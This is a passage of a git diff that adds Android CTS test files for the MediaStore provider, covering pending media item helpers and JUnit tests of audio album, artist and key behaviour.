+            assertTrue(visible.contains(ContentUris.parseId(inside)));
+            assertFalse(visible.contains(ContentUris.parseId(outside)));
+
+            // Force sync to try updating other views
+            ProviderTestUtils.executeShellCommand("sync");
+            SystemClock.sleep(500);
+
+            final long afterPackage = getExternalPackageSize();
+            final long afterTotal = getExternalTotalSize();
+            final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
+                    getContext().getPackageName(), android.os.Process.myUserHandle());
+
+            assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
+            assertMostlyEquals(beforeTotal + stageSize, afterTotal, SIZE_DELTA);
+            assertMostlyEquals(0, afterContributed, SIZE_DELTA);
+        }
+    }
+
+    private long getExternalPackageSize() throws Exception {
+        final StorageManager storage = getContext().getSystemService(StorageManager.class);
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+        final UUID externalUuid = storage.getUuidForPath(MediaStore.getVolumePath(mVolumeName));
+        return stats.queryStatsForPackage(externalUuid, getContext().getPackageName(),
+                android.os.Process.myUserHandle()).getDataBytes();
+    }
+
+    private long getExternalTotalSize() throws Exception {
+        final StorageManager storage = getContext().getSystemService(StorageManager.class);
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+        final UUID externalUuid = storage.getUuidForPath(MediaStore.getVolumePath(mVolumeName));
+        return stats.queryExternalStatsForUser(externalUuid, android.os.Process.myUserHandle())
+                .getTotalBytes();
+    }
+
+    private HashSet<Long> getVisibleIds(Uri collectionUri) {
+        final HashSet<Long> res = new HashSet<>();
+        try (Cursor c = mContentResolver.query(collectionUri,
+                new String[] { MediaColumns._ID }, null, null)) {
+            while (c.moveToNext()) {
+                res.add(c.getLong(0));
+            }
+        }
+        return res;
+    }
+
+    private static void assertMostlyEquals(long expected, long actual, long delta) {
+        if (Math.abs(expected - actual) > delta) {
+            fail("Expected roughly " + expected + " but was " + actual);
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
new file mode 100644
index 0000000..0120afb
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.media;
+
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.provider.MediaStore.DownloadColumns;
+import android.provider.MediaStore.Downloads;
+import android.provider.MediaStore.MediaColumns;
+import android.text.format.DateUtils;
+
+import org.junit.Test;
+
+import java.io.FileNotFoundException;
+import java.io.OutputStream;
+import java.util.Objects;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+public class MediaStoreUtils {
+    @Test
+    public void testStub() {
+    }
+
+    /**
+     * Create a new pending media item using the given parameters. Pending items
+     * are expected to have a short lifetime, and owners should either
+     * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
+     * pending item within a few hours after first creating it.
+     *
+     * @return token which can be passed to {@link #openPending(Context, Uri)}
+     *         to work with this pending item.
+     * @see MediaColumns#IS_PENDING
+     * @see MediaStore#setIncludePending(Uri)
+     * @see MediaStore#createPending(Context, PendingParams)
+     * @removed
+     */
+    @Deprecated
+    public static @NonNull Uri createPending(@NonNull Context context,
+            @NonNull PendingParams params) {
+        return context.getContentResolver().insert(params.insertUri, params.insertValues);
+    }
+
+    /**
+     * Open a pending media item to make progress on it. You can open a pending
+     * item multiple times before finally calling either
+     * {@link PendingSession#publish()} or {@link PendingSession#abandon()}.
+     *
+     * @param uri token which was previously returned from
+     *            {@link #createPending(Context, PendingParams)}.
+     * @removed
+     */
+    @Deprecated
+    public static @NonNull PendingSession openPending(@NonNull Context context, @NonNull Uri uri) {
+        return new PendingSession(context, uri);
+    }
+
+    /**
+     * Parameters that describe a pending media item.
+     *
+     * @removed
+     */
+    @Deprecated
+    public static class PendingParams {
+        /** {@hide} */
+        public final Uri insertUri;
+        /** {@hide} */
+        public final ContentValues insertValues;
+
+        /**
+         * Create parameters that describe a pending media item.
+         *
+         * @param insertUri the {@code content://} Uri where this pending item
+         *            should be inserted when finally published. For example, to
+         *            publish an image, use
+         *            {@link MediaStore.Images.Media#getContentUri(String)}.
+         */
+        public PendingParams(@NonNull Uri insertUri, @NonNull String displayName,
+                @NonNull String mimeType) {
+            this.insertUri = Objects.requireNonNull(insertUri);
+            final long now = System.currentTimeMillis() / 1000;
+            this.insertValues = new ContentValues();
+            this.insertValues.put(MediaColumns.DISPLAY_NAME, Objects.requireNonNull(displayName));
+            this.insertValues.put(MediaColumns.MIME_TYPE, Objects.requireNonNull(mimeType));
+            this.insertValues.put(MediaColumns.DATE_ADDED, now);
+            this.insertValues.put(MediaColumns.DATE_MODIFIED, now);
+            this.insertValues.put(MediaColumns.IS_PENDING, 1);
+            this.insertValues.put(MediaColumns.DATE_EXPIRES,
+                    (System.currentTimeMillis() + DateUtils.DAY_IN_MILLIS) / 1000);
+        }
+
+        public void setPath(@Nullable String path) {
+            if (path == null) {
+                this.insertValues.remove(MediaColumns.RELATIVE_PATH);
+            } else {
+                this.insertValues.put(MediaColumns.RELATIVE_PATH, path);
+            }
+        }
+
+        /**
+         * Optionally set the Uri from where the file has been downloaded. This is used
+         * for files being added to {@link Downloads} table.
+         *
+         * @see DownloadColumns#DOWNLOAD_URI
+         */
+        public void setDownloadUri(@Nullable Uri downloadUri) {
+            if (downloadUri == null) {
+                this.insertValues.remove(DownloadColumns.DOWNLOAD_URI);
+            } else {
+                this.insertValues.put(DownloadColumns.DOWNLOAD_URI, downloadUri.toString());
+            }
+        }
+
+        /**
+         * Optionally set the Uri indicating HTTP referer of the file. This is used for
+         * files being added to {@link Downloads} table.
+         *
+         * @see DownloadColumns#REFERER_URI
+         */
+        public void setRefererUri(@Nullable Uri refererUri) {
+            if (refererUri == null) {
+                this.insertValues.remove(DownloadColumns.REFERER_URI);
+            } else {
+                this.insertValues.put(DownloadColumns.REFERER_URI, refererUri.toString());
+            }
+        }
+    }
+
+    /**
+     * Session actively working on a pending media item. Pending items are
+     * expected to have a short lifetime, and owners should either
+     * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
+     * pending item within a few hours after first creating it.
+     *
+     * @removed
+     */
+    @Deprecated
+    public static class PendingSession implements AutoCloseable {
+        /** {@hide} */
+        private final Context mContext;
+        /** {@hide} */
+        private final Uri mUri;
+
+        /** {@hide} */
+        public PendingSession(Context context, Uri uri) {
+            mContext = Objects.requireNonNull(context);
+            mUri = Objects.requireNonNull(uri);
+        }
+
+        /**
+         * Open the underlying file representing this media item. When a media
+         * item is successfully completed, you should
+         * {@link ParcelFileDescriptor#close()} and then {@link #publish()} it.
+         *
+         * @see #notifyProgress(int)
+         */
+        public @NonNull ParcelFileDescriptor open() throws FileNotFoundException {
+            return mContext.getContentResolver().openFileDescriptor(mUri, "rw");
+        }
+
+        /**
+         * Open the underlying file representing this media item. When a media
+         * item is successfully completed, you should
+         * {@link OutputStream#close()} and then {@link #publish()} it.
+         *
+         * @see #notifyProgress(int)
+         */
+        public @NonNull OutputStream openOutputStream() throws FileNotFoundException {
+            return mContext.getContentResolver().openOutputStream(mUri);
+        }
+
+        /**
+         * When this media item is successfully completed, call this method to
+         * publish and make the final item visible to the user.
+         *
+         * @return the final {@code content://} Uri representing the newly
+         *         published media.
+         */
+        public @NonNull Uri publish() {
+            final ContentValues values = new ContentValues();
+            values.put(MediaColumns.IS_PENDING, 0);
+            values.putNull(MediaColumns.DATE_EXPIRES);
+            mContext.getContentResolver().update(mUri, values, null, null);
+            return mUri;
+        }
+
+        /**
+         * When this media item has failed to be completed, call this method to
+         * destroy the pending item record and any data related to it.
+         */
+        public void abandon() {
+            mContext.getContentResolver().delete(mUri, null, null);
+        }
+
+        @Override
+        public void close() {
+            // No resources to close, but at least we can inform people that no
+            // progress is being actively made.
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
new file mode 100644
index 0000000..5cdfa54
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.provider.MediaStore.Audio;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_AudioTest {
+    private String mKeyForBeatles;
+
+    @Before
+    public void setUp() throws Exception {
+        mKeyForBeatles = Audio.keyFor("beatles");
+    }
+
+    @Test
+    public void testKeyFor() {
+        assertEquals(mKeyForBeatles, Audio.keyFor("[beatles]"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("(beatles)"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles!"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles?"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("'beatles'"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles."));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,"));
+
+        assertEquals(mKeyForBeatles, Audio.keyFor("  beatles  "));
+
+        assertEquals(mKeyForBeatles, Audio.keyFor("BEATLES"));
+
+        assertEquals(mKeyForBeatles, Audio.keyFor("the beatles"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("a beatles"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("an beatles"));
+
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,the"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,a"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles,an"));
+
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles, the"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles, a"));
+        assertEquals(mKeyForBeatles, Audio.keyFor("beatles, an"));
+
+        // test sorting
+        assertTrue(Audio.keyFor("areosmith").compareTo(mKeyForBeatles) < 0);
+        assertTrue(Audio.keyFor("coldplay").compareTo(mKeyForBeatles) > 0);
+
+        // test accented characters
+        assertTrue(Audio.keyFor("¿Aómo esto funciona?").compareTo(mKeyForBeatles) < 0);
+        assertTrue(Audio.keyFor("¿Cómo esto funciona?").compareTo(mKeyForBeatles) > 0);
+        assertTrue(Audio.keyFor("Le passé composé").compareTo(mKeyForBeatles) > 0);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
new file mode 100644
index 0000000..ca0413c
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
@@ -0,0 +1,231 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.BitmapFactory;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Albums;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.IOException;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_AlbumsTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(
+                Albums.getContentUri(mVolumeName), null, null,
+                null, null));
+        c.close();
+    }
+
+    @Test
+    public void testStoreAudioAlbums() {
+        // do not support direct insert operation of the albums
+        Uri audioAlbumsUri = Albums.getContentUri(mVolumeName);
+        try {
+            mContentResolver.insert(audioAlbumsUri, new ContentValues());
+            fail("Should throw UnsupportedOperationException!");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+
+        // the album item is inserted when inserting audio media
+        Audio1 audio1 = Audio1.getInstance();
+        Uri audioMediaUri = audio1.insert(mContentResolver, mVolumeName);
+
+        String selection = Albums.ALBUM +"=?";
+        String[] selectionArgs = new String[] { Audio1.ALBUM };
+        try {
+            // query
+            Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs,
+                    null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long id = c.getLong(c.getColumnIndex(Albums._ID));
+            assertTrue(id > 0);
+            assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
+            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
+            assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
+            assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
+            assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
+            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
+            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
+            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
+            assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
+            c.close();
+
+            // do not support update operation of the albums
+            ContentValues albumValues = new ContentValues();
+            albumValues.put(Albums.ALBUM, Audio2.ALBUM);
+            try {
+                mContentResolver.update(audioAlbumsUri, albumValues, selection, selectionArgs);
+                fail("Should throw UnsupportedOperationException!");
+            } catch (UnsupportedOperationException e) {
+                // expected
+            }
+
+            // do not support delete operation of the albums
+            try {
+                mContentResolver.delete(audioAlbumsUri, selection, selectionArgs);
+                fail("Should throw UnsupportedOperationException!");
+            } catch (UnsupportedOperationException e) {
+                // expected
+            }
+
+            // test filtering
+            Uri filterUri = audioAlbumsUri.buildUpon()
+                .appendQueryParameter("filter", Audio1.ARTIST).build();
+            c = mContentResolver.query(filterUri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long fid = c.getLong(c.getColumnIndex(Albums._ID));
+            assertTrue(id == fid);
+            c.close();
+
+            filterUri = audioAlbumsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
+            c = mContentResolver.query(filterUri, null, null, null, null);
+            assertEquals(0, c.getCount());
+            c.close();
+        } finally {
+            mContentResolver.delete(audioMediaUri, null, null);
+        }
+        // the album items are deleted when deleting the audio media which belongs to the album
+        Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs, null);
+        assertEquals(0, c.getCount());
+        c.close();
+    }
+
+    @Test
+    public void testAlbumArt() throws Exception {
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File path = new File(dir, "test" + System.currentTimeMillis() + ".mp3");
+        try {
+            ProviderTestUtils.stageFile(R.raw.testmp3, path);
+
+            ContentValues v = new ContentValues();
+            v.put(Media.DATA, path.getAbsolutePath());
+            v.put(Media.TITLE, "testing");
+            v.put(Albums.ALBUM, "test" + System.currentTimeMillis());
+
+            final Uri mediaUri = mContentResolver
+                    .insert(MediaStore.Audio.Media.getContentUri(mVolumeName), v);
+            final long mediaId = ContentUris.parseId(mediaUri);
+
+            final long albumId;
+            try (Cursor c = mContentResolver.query(mediaUri, null, null, null, null)) {
+                assertTrue(c.moveToFirst());
+                albumId = c.getLong(c.getColumnIndex(Albums.ALBUM_ID));
+            }
+
+            final Uri albumUri = ContentUris
+                    .withAppendedId(MediaStore.Audio.Albums.getContentUri(mVolumeName), albumId);
+
+            // Verify that normal thumbnails work
+            assertNotNull(mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null));
+            assertNotNull(mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null));
+
+            // Verify that hidden APIs still work to obtain album art
+            final Uri byMedia = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
+                    .appendPath("audio").appendPath("media")
+                    .appendPath(Long.toString(mediaId)).appendPath("albumart").build();
+            final Uri byAlbum = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
+                    .appendPath("audio").appendPath("albumart")
+                    .appendPath(Long.toString(albumId)).build();
+            assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia)));
+            assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum)));
+
+            // Delete item and confirm art is cleaned up
+            mContentResolver.delete(mediaUri, null, null);
+
+            try {
+                mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null);
+                fail();
+            } catch (IOException expected) {
+            }
+            try {
+                mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null);
+                fail();
+            } catch (IOException expected) {
+            }
+            try {
+                BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia));
+                fail();
+            } catch (IOException expected) {
+            }
+            try {
+                BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum));
+                fail();
+            } catch (IOException expected) {
+            }
+
+        } finally {
+            path.delete();
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
new file mode 100644
index 0000000..6ab7c28
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore.Audio.Artists;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_ArtistsTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        assertNotNull(c = mContentResolver.query(
+                Artists.getContentUri(mVolumeName), null, null,
+                null, null));
+        c.close();
+    }
+
+    @Test
+    public void testStoreAudioArtists() {
+        Uri artistsUri = Artists.getContentUri(mVolumeName);
+        // do not support insert operation of the artists
+        try {
+            mContentResolver.insert(artistsUri, new ContentValues());
+            fail("Should throw UnsupportedOperationException!");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+        // the artist items are inserted when inserting audio media
+        Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+
+        String selection = Artists.ARTIST + "=?";
+        String[] selectionArgs = new String[] { Audio1.ARTIST };
+        try {
+            // query
+            Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+
+            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Artists.ARTIST)));
+            long id = c.getLong(c.getColumnIndex(Artists._ID));
+            assertTrue(id > 0);
+            assertNotNull(c.getString(c.getColumnIndex(Artists.ARTIST_KEY)));
+            assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_ALBUMS)));
+            assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_TRACKS)));
+            c.close();
+
+            // do not support update operation of the artists
+            ContentValues artistValues = new ContentValues();
+            artistValues.put(Artists.ARTIST, Audio2.ALBUM);
+            try {
+                mContentResolver.update(artistsUri, artistValues, selection, selectionArgs);
+                fail("Should throw UnsupportedOperationException!");
+            } catch (UnsupportedOperationException e) {
+                // expected
+            }
+
+            // do not support delete operation of the artists
+            try {
+                mContentResolver.delete(artistsUri, selection, selectionArgs);
+                fail("Should throw UnsupportedOperationException!");
+            } catch (UnsupportedOperationException e) {
+                // expected
+            }
+
+            // test filtering
+            Uri filterUri = artistsUri.buildUpon()
+                .appendQueryParameter("filter", Audio1.ARTIST).build();
+            c = mContentResolver.query(filterUri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            long fid = c.getLong(c.getColumnIndex(Artists._ID));
+            assertTrue(id == fid);
+            c.close();
+
+            filterUri = artistsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
+            c = mContentResolver.query(filterUri, null, null, null, null);
+            assertEquals(0, c.getCount());
+            c.close();
+        } finally {
+            mContentResolver.delete(uri, null, null);
+        }
+        // the artist items are deleted when deleting the audio media which belongs to the album
+        Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
+        assertEquals(0, c.getCount());
+        c.close();
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
new file mode 100644
index 0000000..a3bd099
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Artists.Albums;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_Artists_AlbumsTest {
+    private Context mContext;
+    private ContentResolver mContentResolver;
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ProviderTestUtils.getSharedVolumeNames();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mContentResolver = mContext.getContentResolver();
+
+        Log.d(TAG, "Using volume " + mVolumeName);
+    }
+
+    @Test
+    public void testGetContentUri() {
+        Cursor c = null;
+        Uri contentUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, 1);
+        assertNotNull(c = mContentResolver.query(contentUri, null, null, null, null));
+        c.close();
+    }
+
+    @Test
+    public void testStoreAudioArtistsAlbums() {
+        // the album item is inserted when inserting audio media
+        Uri audioMediaUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
+        // get artist id
+        Cursor c = mContentResolver.query(audioMediaUri, new String[] { Media.ARTIST_ID }, null,
+                null, null);
+        c.moveToFirst();
+        Long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
+        c.close();
+        Uri artistsAlbumsUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, artistId);
+        // do not support insert operation of the albums
+        try {
+            mContentResolver.insert(artistsAlbumsUri, new ContentValues());
+            fail("Should throw UnsupportedOperationException!");
+        } catch (UnsupportedOperationException e) {
+            // expected
+        }
+
+        try {
+            // query
+            c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+
+            assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
+            assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
+            assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
+            assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
+            assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
+            assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
+            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
+            assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
+            assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
+            assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS_FOR_ARTIST)));
+            c.close();
+
+            // do not support update operation of the albums
+            ContentValues albumValues = new ContentValues();
+            albumValues.put(Albums.ALBUM, Audio2.ALBUM);
+            try {
+                mContentResolver.update(artistsAlbumsUri, albumValues, null, null);
+                fail("Should throw UnsupportedOperationException!");
+            } catch (UnsupportedOperationException e) {
+                // expected
+            }
+
+            // do not support delete operation of the albums
+            try {
+                mContentResolver.delete(artistsAlbumsUri, null, null);
+                fail("Should throw UnsupportedOperationException!");
+            } catch (UnsupportedOperationException e) {
+                // expected
+            }
+        } finally {
+            mContentResolver.delete(audioMediaUri, null, null);
+        }
+        // the album items are deleted when deleting the audio media which belongs to the album
+        c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
+        assertEquals(0, c.getCount());
+        c.close();
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
new file mode 100644
index 0000000..dee863f
--- /dev/null
